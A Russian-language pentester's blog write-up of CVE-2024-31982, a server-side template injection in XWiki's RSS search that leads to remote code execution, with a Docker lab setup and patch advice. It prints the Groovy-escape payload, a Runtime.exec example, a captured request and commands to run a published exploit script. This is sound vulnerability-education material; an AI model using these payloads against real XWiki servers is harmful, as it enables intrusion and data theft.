
Привет! Меня зовут Артур, я специалист по пентестам в компании Xilant. В этой статье разберём одну из наиболее опасных уязвимостей, обнаруженных в XWiki — CVE-2024-31982, которая позволяет добиться удалённого выполнения произвольного кода (RCE) через, казалось бы, безобидную функциональность поиска.
XWiki давно занимает ключевое место среди корпоративных Wiki-платформ благодаря гибкой архитектуре и мощной системе шаблонов. Однако именно эта гибкость сыграла против неё: некорректная обработка пользовательского ввода в механизме рендеринга шаблонов привела к появлению критической SSTI-уязвимости.
В материале я покажу, как устроена брешь, как она эксплуатируется и как выглядит автоматизированный PoC, который я написал на основе ан��лиза опубликованного исследования автора jacaba с портала Vicarius.io.
Суть уязвимости: ошибка в механизме шаблонов
XWiki активно использует Apache Velocity и Groovy для генерации HTML и выполнения серверной логики. Проблема заключалась в том, что параметр $text, содержащий строку поиска пользователя, передавался в шаблон RSS-ленты без какой-либо валидации или экранирования:
#set ($discard = $feed.setTitle($services.localization.render('search.rss', [$text]))) #set ($discard = $feed.setDescription($services.localization.render('search.rss', [$text])))
Таким образом злоумышленник мог внедрить произвольные конструкции Velocity с переходом в Groovy-контекст и выполнить код на сервере.
Что такое SSTI и почему это критично
Server-Side Template Injection (SSTI) — это уязвимость веб-безопасности, которая возникает когда приложение обрабатывает пользовательский ввод как часть шаблона на сервере. Это позволяет злоумышленнику внедрять и выполнять произвольный код на сервере.
Простая аналогия:
Ожидаемое поведение:
«Здравствуйте, ${username}» → «Здравствуйте, Иван»Уязвимое поведение:
${7*7} → 49Эксплуатация:
${@java.lang.Runtime@getRuntime().exec('whoami')}
Такое поведение критично с точки зрения безопасности. Если коротко, SSTI даёт злоумышленнику возможность превращать обычные строки в исполняемый код. Из-за этого он может:
выполнять любые команды прямо на сервере
читать и скачивать файлы
получать доступ к конфиденциальным данным
полностью компрометировать приложение
По сути, это прямой и очень удобный вход внутрь вашей системы.
Как работают шаблонизаторы в XWiki и почему они становятся уязвимыми
1. Apache Velocity — основной шаблонизатор XWiki
Velocity отвечает за генерацию HTML и подстановку динамических данных.
Проблема в том, что если передать ему «нечестный» ввод от пользователя, можно незаметно «выйти» из шаблона с помощью конструкции }}} и вставить туда свой код.
Уязвимый пример: значение $text подставляется без проверки — и злоумышленник может встроить в него что угодно.
2. Groovy — язык, который XWiki использует для макросов
Groovy позволяет выполнять серверную логику прямо в XWiki.
А если злоумышленник сумеет попасть внутрь Groovy-блока — он может написать любой Java/Groovy-код, и сервер его выполнит.
Другими словами: Velocity помогает злоумышленнику «выбраться» из шаблона, а Groovy — выполнить произвольный код. В связке это превращается в полноценный RCE.
Механизм эксплуатации
Полезная нагрузка (Payload) выглядит так:
}}}{{async async=false}}{{groovy}}ЗЛОВРЕДНЫЙ_КОД{{/groovy}}{{/async}}
Что же тут происходит:
}}}— закрывают предыдущие открытые блоки в Velocity шаблоне{{async async=false}}— объявляет асинхронный блок, который немедленно выполняется{{groovy}}...{{/groovy}}— внутри этого блока выполняется произвольный код на Groovy с правами приложения
Вот как выглядит перехват запроса со всеми нужными нам данными:
GET /bin/view/Main/ HTTP/1.1 Host: localhost:8080 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Referer: http://localhost:8080/bin/login/XWiki/XWikiLogin?xredirect=%2Fbin%2Fview%2FMain%2F&loginLink=1 Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=7C2475ADACF19E94AA669F43E6B3350B; username="mG8L+qSm7WpGHYktowzcuA__"; password="RKEitl7mN54_"; rememberme="false"; validation="08dea41c8cc74adff11feaa87cc72caa" Connection: keep-alive
PoC и автоматизация
Я подготовил автоматизированный exploit-скрипт, который можно найти на моем GitHub. Скрипт выполняет три задачи:
Производит аутентификацию в XWiki с указанными учётными данными.
Формирует эксплойтный URL, внедряя Groovy-код в параметр запроса.
Извлекает результат команды из заголовка RSS-ленты.
Пример запуска:
git clone https://github.com/raishin1/CVE-2024-31982.git
cd CVE-2024-31982
python3 exploit.py http://localhost:8080 testuser test123
После запуска скрипт предложит указать команду для выполнения на стороне уязвимого сервера.
Пошаговая эксплуатация на тестовом стенде
Для воспроизведения уязвимости достаточно поднять XWiki нужной версии через Docker:
# Создаем директорию mkdir xwiki-vulnerable cd xwiki-vulnerable # Создаем docker-compose.yml cat > docker-compose.yml << 'EOF' version: '3.8' services: xwiki-db: image: mariadb:10.11 container_name: xwiki-db environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_USER=xwiki - MYSQL_PASSWORD=xwiki - MYSQL_DATABASE=xwiki command: - --character-set-server=utf8mb4 - --collation-server=utf8mb4_unicode_ci - --skip-character-set-client-handshake volumes: - db_data:/var/lib/mysql restart: unless-stopped xwiki: image: xwiki:15.5.3-mysql-tomcat container_name: xwiki depends_on: - xwiki-db ports: - "8080:8080" environment: - DB_USER=xwiki - DB_PASSWORD=xwiki - DB_DATABASE=xwiki - DB_HOST=xwiki-db volumes: - xwiki_data:/usr/local/xwiki restart: unless-stopped volumes: db_data: xwiki_data: EOF # Запускаем docker compose up -d # Проверяем статус docker compose ps # Смотрим логи docker compose logs -f xwiki
Затем регистрируем пользователя:

Запускаем exploit-скрипт:

Результат можно увидеть в виде выполнения команд на стороне контейнера XWiki.
Опасность уязвимости
Проще говоря: если ваша XWiki доступна публично и не обновлена — любой человек может получить на сервере RCE.
Это означает:
полный доступ ко всей базе знаний
возможность красть документы и персональные данные
изменение или удаление информации
использование сервера как точки входа в вашу инфраструктуру
Фактически это один шаг до полного захвата системы.
Как защититься
Чтобы быть защищенным от такого рода дыр, есть два варианта действий:
Обновить XWiki. Это самый простой и самый надёжный способ закрыть уязвимость. Установите одну из версий, где проблема уже исправлена: «14.10.20», «15.5.4» или «15.10-rc-1».
Если обновление пока невозможно, можно временно подстраховаться: удалите страницу Main.DatabaseSearch. Она не используется как основной поиск, поэтому ничего в работе XWiki не сломает, но при этом закроет дыру.
Не позволяйте функции поиска находить больше, чем вы рассчитывали. Обновляйтесь и держите свою вики в безопасности.
